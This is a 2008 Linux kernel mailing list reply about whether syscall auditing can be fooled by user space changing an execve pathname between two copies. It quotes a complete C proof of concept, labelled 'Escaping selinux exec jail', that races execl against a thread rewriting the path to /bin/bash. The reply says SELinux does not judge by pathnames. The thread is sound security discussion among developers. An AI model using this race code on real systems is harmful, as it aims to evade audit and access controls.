Re: System call audit

[Stephen Smalley]

On Tue, 2008-05-13 at 08:51 -0400, Mathieu Desnoyers wrote:
> * David Woodhouse (dwmw2@xxxxxxxxxxxxx) wrote:
> > On Mon, 2008-05-12 at 20:06 -0400, Mathieu Desnoyers wrote:
> > > Hi David,
> > > 
> > > As I am looking into the system-wide system call tracing problem, I
> > > start to wonder how auditsc deals with the fact that user-space could
> > > concurrently change the content referred to by the __user pointers.
> > 
> > In general we have to copy the content into kernel space, audit it, and
> > then act on it from there. See the explanation on the IPC audit patch at
> > http://lwn.net/Articles/125350/ for example.
> > 
> > Auditing one thing and then acting on another would be simply broken.
> > 
> > > This would be the case for execve. If we create a program with two
> > > thread; one is executing execve syscalls and the other thread would be
> > > modifying the userspace string containing the name of the program to
> > > execute.
> > 
> > I was going to suggest that that attack vector won't work, because
> > execve() kills all threads. But all you have to do to avoid that is put
> > the data in question into a shared writable mmap and modify it from
> > another _process_. And in fact I suspect there's a combination of CLONE_
> > flags which would avoid the thread-killing behaviour anyway.
> > 
> 
> Even better : if execve fails, it doesn't kill the threads. Therefore,
> all we have to do is to busy-loop doing failing execve() calls and
> atomically change the string to what we want to be executed. Can anyone
> test the sample snippet in a context where executing /bin/bash is
> disallowed on a SMP system ? I don't have a selinux setup handy. I
> suppose that as soon as selinux would see one /bin/bash exec, it will
> kill the process, so a few runs would be required in order to generate
> the correct race.

SELinux doesn't base any of its decisions on pathname strings provided
by the user (or pathnames at all, for that matter; SELinux is
attribute/label-based).

> 
> /*
>  * Escaping selinux exec jail
>  *
>  * build with gcc -lpthread -o escape-selinux escape-selinux.c
>  *
>  * Mathieu Desnoyers
>  * License: GPL
>  */
> 
> #include <stdio.h>
> #include <pthread.h>
> #include <stdlib.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <unistd.h>
> #include <stdio.h>
> #include <signal.h>
> 
> static char modstring[] = "$bin/bash";
> 
> void *thr1(void *arg)
> {
> 	while(1) {
> 		execl(modstring, NULL);
> 	}
> 	return ((void*)1);
> 
> }
> 
> void *thr2(void *arg)
> {
> 	while(1) { 
> 		modstring[0] = '$';
> 		modstring[0] = '/';
> 	}
> 	return ((void*)2);
> }
> 
> int main()
> {
> 	int err;
> 	pthread_t tid1, tid2;
> 	void *tret;
> 
> 	err = pthread_create(&tid1, NULL, thr1, NULL);
> 	if (err != 0)
> 		exit(1);
> 
> 	err = pthread_create(&tid2, NULL, thr2, NULL);
> 	if (err != 0)
> 		exit(1);
> 
> 	sleep(10);
> 
> 	err = pthread_join(tid1, &tret);
> 	if (err != 0)
> 		exit(1);
> 
> 	err = pthread_join(tid2, &tret);
> 	if (err != 0)
> 		exit(1);
> 
> 	return 0;
> }
> 
> 
> > >  Since we have two copy_from_user, one in auditsc and one in the
> > > real execve() function, the string passed to the OS could differ from
> > > the string seen by auditsc.
> > 
> > Right. Don't Do That Then. The audit code should see what's _actually_
> > given to the child process. The audit/execve code has changed since I
> > last looked, but I think it's probably OK because it's reading the
> > contents of the new program's mm on the way back from the execve()
> > system call -- before ever giving the CPU back to that process.
> > 
> > -- 
> > dwmw2
> > 
> 
-- 
Stephen Smalley
National Security Agency

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